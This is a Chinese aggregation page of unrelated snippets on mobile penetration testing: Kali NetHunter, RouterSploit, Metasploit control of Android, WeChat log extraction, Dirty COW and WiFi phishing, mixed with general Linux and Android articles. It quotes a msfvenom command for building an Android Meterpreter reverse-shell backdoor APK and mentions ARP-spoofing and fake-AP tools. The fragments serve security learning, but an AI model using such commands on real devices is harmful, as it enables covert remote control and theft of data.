笔者今年换掉了服役N年的旧手机，新手机12G的RAM，比自用的本子内存都大，如果只是玩游戏感觉不能完全发挥出全部机能，但又因为怕影响日常使用没有进行root，经过一番折腾，发现即使不root也不影响把它变成一款测试利器，有同类需求的可以参考此文。
解读：手机安装 kali-nethunter ，实际上是安装一个 安卓 Cyanogenmod 系统 （cm-13等）的 ROM ,然后再安装一个 kali-nethunter 系统，共同存在手机内的重合系统体，在需要使用kali时，手机自动切换根目录（chroot）。
和Metasploit差不多，RouterSploit是一个强大的漏洞利用框架，用于快速识别和利用路由器中的普通漏洞，它还有个亮点，就是可以在绝大多数安卓设备上运行。 如果你想在电脑上运行，可以阅读这篇文章，而这篇教程则会告诉你如何轻松地在未Root的安卓设备上安装RouterSploit，这样一来，只要你的智能手机可以连接这些有漏洞的路由器，你就可以渗透他们。 RouterSploit vs 路由器 路由器是我们联通世界的通道，它们管理着互联网通信，加密我们的流量，保护着我们的隐私，还将我们与内网的或者外
2019年11月26日，kali Linux官网发布了最新版本：Kali Linux 2019.4发行版
11月26日，Kali Linux官网宣布了2019年第四个也是最后一个版本——Kali Linux 2019.4。相比之前有较大的变动，引起了很多安全爱好者的关注，例如全新的桌面环境Xfce、Kali Undercover模式（能够伪装成win10）、NetHunter Kex 。
在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录，并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强，有设备的童鞋不妨边阅读文章边操作，希望能激发大家对移动终端的安全兴趣。 “如何获取Android、iPhone手机上的微信聊天记录？ ” 0×00 条件： 安卓设备已获取root权限，安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱，安装OpenSSH插件 0×01 安卓： 很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知
前阵子受《Xposed模块编写的那些事》[1]这篇文章的帮助很大，感觉有必要写一篇文章。现在最火爆的又是frida，该框架从Java层hook到Native层hook无所不能，虽然持久化还是要依靠Xposed和hookzz等开发框架，但是frida的动态和灵活对逆向以及自动化逆向的帮助非常巨大。
Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助，最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写Back Track来完成。
文章内容可能具有一定攻击性，本文仅供技术交流，如有非法使用后果自负。 在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。 创建负载
`系统简介` - 基于Win10 Workstation 21H2 x64 MSDN原版镜像制作； - 完整安装WSL Kali Linux 2022.1，并配置图形化模式； - 精简系统自带软件，美化字体及部分图标，适度优化； - 镜像容量74.5G，使用单磁盘文件存储，提升性能； - 建议运行环境： * vmware：16.0 * 运行内存：8G * 固态硬盘：100G `制作声明：` 1. 所有的安装类软件均下载自软件对应的官方网站； 2. 所有的绿色类软件均下载自果核剥壳。（https://www.ghxi.com/）； 3. 所有的脚本类工具均下载自github。（https://github.com/）； 4. 部分授权类工具（破解版）及优秀的渗透工具来自微信公众号分享； 排名不分先后，同时也推荐大家关注，一起变得更强。 雾晓安全、果核剥壳、归零安全、潇湘信安、学蚁致用、谢公子学安全、利刃藏锋、棉花糖网络安全圈、HACK技术沉淀营、无尾熊安全、T00ls、 渗透攻击红队、洛米唯熊、雷石安全实验室、酒仙桥六号部队、InBug实验室、鸿鹄实验室、黑白之道、HACK之道、GobySec、Gcow安全团队、 Gamma实验室、Cobaltstrike实战、冰河技术、网络安全与黑客技术、QZ的安全悟道、菜鸟学信安、乌雲安全、白帽子飙车路、信安之路、chaosec、 鸟哥谈安全、安全小飞侠、moonsec、系统安全运维、天驿安全、零组攻防实验室、lemonsec、橘猫学安全、Hacking黑白红、渗透xiao白帽、 渗透安全团队、白帽子社区、HACK学习呀、猪猪谈安全、开普勒安全团队、吾爱破解论坛、WhITECat安全团队、寻云安全团队、Khan安全攻防实验室、 Bypass、天億网络安全、关注安全技术、玄魂工作室、边界骇客、零度安全攻防实验室、WgpSec狼组安全团队、黑白天实验室、靶机狂魔、渗透云笔记、 TeamsSix、hijackY、TimeLine Sec、重生信息安全、GobySec、Gcow安全团队、冰蚕实验室。 5. 本项目制作的初衷是帮助渗透新手快速搭建工作环境，工欲善其事，必先利其器； 6. 本项目由于后期调试原因可能会遗留部分本人的信息，请直接忽视； 7. 本项目坚决不接受也从未曾接受任何形式的赞助； 8. 如果您有好的意见或者建议，请联系邮箱burpsuite@qq.com。 `免责声明：` 1. 本镜像仅面向合法授权的企业安全建设行为，如您需要测试本镜像的可用性，请自行搭建靶机环境； 2. 在使用本镜像进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权； 3. 如您在使用本镜像的过程中存在任何非法行为，您需自行承担相应后果，作者将不承担任何法律及连带责任。
只靠 linux内核,咱们无法做任何事情,只有内核和各种应用程序在一起,咱们才能使用.
var xhr = new XMLHttpRequest(); xhr.open('get', 'https://v1.hitokoto.cn/'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; } } xhr.send();
这样我们的环境就部署完成了。然后访问我们的主机IP，你会看到下面的界面。 输入用户名和密码 登录
近来很多知名企业都出现了密码泄露，业内对多重认证的呼声也越来越高。在这种多重认证的系统中，用户需要通过两种不同的认证程序：提供他们知道的信息（如 用户名/密码），再借助其他工具提供用户所不知道的信息（
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
使用Burp对安卓应用进行渗透测试的过程中，有时候会遇到某些流量无法拦截的情况，这些流量可能不是HTTP协议的，或者是“比较特殊”的HTTP协议(以下统称非HTTP流量)。遇到这种情况，大多数人会选择切换到Wireshark等抓包工具来分析。 下面要介绍的，是给测试人员另一个选择——通过Burpsuite插件NoPE Proxy对非HTTP流量抓包分析，并可实现数据包截断修改、重放等功能。 NoPE Proxy简介 NoPE Proxy插件为Burpsuite扩展了两个新的特性： 1. 一个可配置的DNS
当然,所有的实验均是在模拟器上进行,属于局域网.如果实现外网手机远控,可以在服务器上进行.
Root，对于任何手机发烧友、玩机客、从事移动设备研发的人员来说，并不陌生，它代表绝大部分移动设备的使用者能够掌握到的最高权限。
今天给大家收集和整理了一些常用的 WiFi 渗透工具，工具对于我们这些人来说是最熟悉的东西之一了，选择一个好的工具会让你事半功倍。（工具顺序不分名次）
打开终端并输入以下命令：msfvenom -p [payload] LHOST=[IP地址] LPORT=[端口号] -f [格式] -o [文件名]
执行apt upgrade&当提示：“Do you want to continue” 时输入 ‘y’ 并回车。
在上一篇文章中，我们介绍了在 Python 中使用 BeeWare 框架编写图形程序并将其打包为安卓的apk文件程序。
Android是基于Linux开发性内核的操作系统，该平台由操作系统，中间件，用户界面和应用软件组成。Android的基本信息：软件类型，APK，发行商：Google，最早版本 Android 1.0 ，最新版本 Android 8.0 (年头：2017年) ，安卓内核类型：整块性核心（Linux）。
Anki自带的AnkiWeb同步服务体验较差，当你的单词库较大时，同步起来体验非常的差。因此我在腾讯云上自己搭建了Anki同步服务器。
前言，安卓可以运行多个app，对应运行了多个dalvik实例，每一个应用都有一个独立的linux进程，独立的进程可以防止虚拟机崩溃造成所有程序都关闭。就像一条电灯泡上的电灯都是并联关系的，一个灯泡坏了其他灯泡不受影响，一个程序崩溃了其他程序也不受影响。
利用 HBuilder将web页面打包成 APP 文件-新建-移动APP 配置APP项目
这个名叫Dirty COW，也就是脏牛的漏洞，存在Linux内核中已经有长达9年的时间，也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。据说Linus本人也参与了修复。：P 00x1 漏洞编号： CVE-2016-5195 00x2 漏洞危害： 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 00x3影响范围： Linux kernel >=2.6.22（2007年发行，到今年10月18日才修复） 00x4
PS：基本了解了adb的一些安装命令，还有夜神模拟机的设置和安装。这就是环境的搭建。其实不复杂对吧。
0x00：前言 从互联网上可以搜集到很多关于ARM平台下（主要还是基于ARM+Android）的Hacking文章，忽略掉那些复制加粘贴的内容，剩下的大多是关于如何在安卓手机上安装Kali Nethunter的文章，当然还有一些部分关于在安卓上安装 Andrax 的文章。这些文章只是简单的减少了如何搭建一个可以用于 Hacking的移动设备平台，并没有深入的、详细的去介绍该如何利用这类设备实施真实场景下的Hacking，感觉很遗憾。出于自己的兴趣以及弥补 Android 移动平台下Hacking内容的缺失环
大家熟知的渗透测试是笔记本上神秘滚动的linux命令！一台kali笔记本走天下，是渗透测试的基本素养。但笔记本还是太大，很多地方你用笔记本做渗透测试还是太招摇，而且你更多的时候是手痒，想搞一搞周围的设备，你又没带笔记本怎么办？那你带了什么？出门三件套：钱包、手机、钥匙！很明显答案是手机！
如今IT的发展如此之快，从硬件时代到现在物联网时代，Android是基于Linux开发的操作系统，Android本意指“机器人”，由Ascender设计的Logo图标，将Android设计为一个绿色的机器人，是一个功能强大的移动系统，也是一个为手机服务的，开放性系统。
2018国内优秀开源镜像站汇总 一、站点版 企业站 1.网易：http://mirrors.163.com/ 2.阿里云：http://mirrors.aliyun.com/ 同步频率为每天一次，每天凌晨2：00-4：00为镜像的同步时间 3.搜狐：http://mirrors.sohu.com/
最初从windows系统换到Macos大概近一年了，首先是用不惯，慢慢习惯之后，开始着手配置Macos下的渗透工具，于是乎发现了诸多个坑，而最近的一个坑便是Mac下安卓抓包的方法。我真的是查了巨久的资料，请教了很多很多的人。。。
安卓木马后门：msfvenom -p Android/Meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk
安卓及谷歌官网不容易上，在此整理好下载地址，这样就可以直接用迅雷下载了。 Eclipse 最新 Mars 版 Eclipse（暂时还没被墙） Mac 版： http://www.eclipse.or
有趣有内涵的文章第一时间送达！ 📷 Android是什么？ Android是基于Linux开发性内核的操作系统，该平台由操作系统，中间件，用户界面和应用软件组成。Android的基本信息：软件类型，APK，发行商：Google，最早版本 Android 1.0 ，最新版本 Android 8.0 (年头：2017年) ，安卓内核类型：整块性核心（Linux）。 提供Android学习者有用的网络资源 Android Studio2.0 教程从入门到精通Windows版 - 安装篇 http://www.op
选择网关 add to target 1 选择目标 add to target 2
本项目已荣获2017年福建省第32届青少年科技创新大赛一等奖 摘要：通过设计并进行试验、实地调查等方式，对无线安全的情况进行综合性的调查与研究，最终提出合理化建议。利用无线安全审计设备 Wifipineapple 模拟出黑客所使用的“钓鱼 Wi-Fi”网页进行数据的收集和实际体验。试图做出对该类行为防范的反思和进一步的建议，提高人们对无线安全的重视意识。 关键词：无线网络安全 综合性调查和研究 无线安全审计 Wifipineapple Kali Linux 反思和建议 引言 在 2
工具：bettercap、metasploit、dnsspoof、armitage
自幼受贵州大山的熏陶，养成了诚实质朴的性格。经过寒窗苦读，考入BIT，为完成自己的教师梦，放弃IT、航天等工作，成为贵财一名大学教师，并想把自己所学所感真心传授给自己的学生，帮助更多陌生人。
Linux 与 Linux 内核其实是不一样的，关于这个问题，我在之前的一篇文章中讲过（《Linux，Unix，GNU 到底有什么样的渊源？》）。Linux 的内核是由 Linus Torvalds 在1991年首次编写。它是操作系统的核心，包括设备驱动、文件系统、进程管理、网络通信等。但是操作系统光有内核，用户是没有办法操作的，所以很多厂商和 Linux 社区就在内核之上开发了很多工具，比如我们常用的 GNome桌面，FireFox浏览器、GIMP 图片编辑器等等。Linux 内核和这些应用一起打包后就被称作 Linux 发行版本。Linux 有很多的发行版本，我在之前的文章中（《这么多Linux版本，你究竟该怎么选择？》），对不同的版本做过比较。
龙芯今年夏天推出了 3A5000 处理器，该处理器建立在龙芯的 LoongArch 指令集架构（ISA）上，龙芯将其描述为“一种新的 RISC ISA”。但 Linux 内核的上游维护者在审查 LoongArch 提交的代码时质疑，“你一直说 ‘不是 MIPS’，但我看到的只是 MIPS 代码的盲目复制。”在对提交的代码给出一些具体意见之后，维护者最后说，“从我审查的第一个版本以来，我没有看到太多进展。这仍然是同样过时的、破碎的 MIPS 代码，只是换了个名字而已。”据外媒 Phoronix 称，LoongArch 的一些补丁确实是新的，但到目前为止还没有指出这些处理器的任何突破性的差异或令人兴奋的新功能，不幸的是，龙芯科技的公开文档也没有显示任何 ISA 差异等。
就在今年的苹果WWDC上，最突出的就是iPad终于能写代码了，支持Swift语言，还不能写Python、C++……
今天这款软件真心是错过会后悔，念心之前推荐过这么多音乐软件，这款软件不仅拥有之前那些软件的功能，而且还支持多平台，考虑到大家用的比较少，之前念心一直没有给大家推荐过，苹果电脑和Linux系统的音乐软件，今天这款软件都可以使用，非常强大！
Linux Basics for Hackers: Getting Started with Networking, Scripting, and Security in Kali
Android 渗透测试学习手册 中文版 第一章 Android 安全入门 第二章 准备实验环境 第三章 Android 应用的逆向和审计 第四章 对 Android 设备进行流量分析 第五章 Android 取证 第六章 玩转 SQLite 第七章 不太知名的 Android 漏洞 第八章 ARM 利用 第九章 编写渗透测试报告 SploitFun Linux x86 Exploit 开发系列教程 典型的基于堆栈的缓冲区溢出 整数溢出 Off-By-One 漏洞（基于栈） 使用 return-to-l
安卓（Android）操作系统自2008年首次发布以来，迅速发展成为全球最广泛使用的移动操作系统。本文将详细回顾安卓的历史发展过程，探讨其在技术、市场和用户体验方面的演变。
文中提及的部分技术可能带有一定攻击性，仅供安全学习和教学用途，禁止非法使用！ 📷 0x00 实验环境 操作系统：Kali 1.0 (VM) FackAP: easy-creds 硬件：NETGEAR wg111 v3 RTL8187B 网卡（kali下免驱） 📷 靶机：安卓、iPhone设备 0x01 环境搭建 git clone https://github.com/brav0hax/easy-creds cd easy-creds 📷 bash instal
有幸在linux以及安卓框架上研究过几年，现在就这个问题发表点个人意见，安卓底层操作系统算是定制版的linux内核，但有个非常明显的区别，安卓只是用到了linux内核上层的应用体系是完全自己构建的，距离linux原生态的方式已经距离非常遥远了，所以拿来和纯正的linux做对比其实意义不是特别大，安卓之所以感觉像windows那样臃肿，主要原因还是生态链的普及的比较完善，使用人数太多，俗话讲有人的地方就有江湖。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
云直播
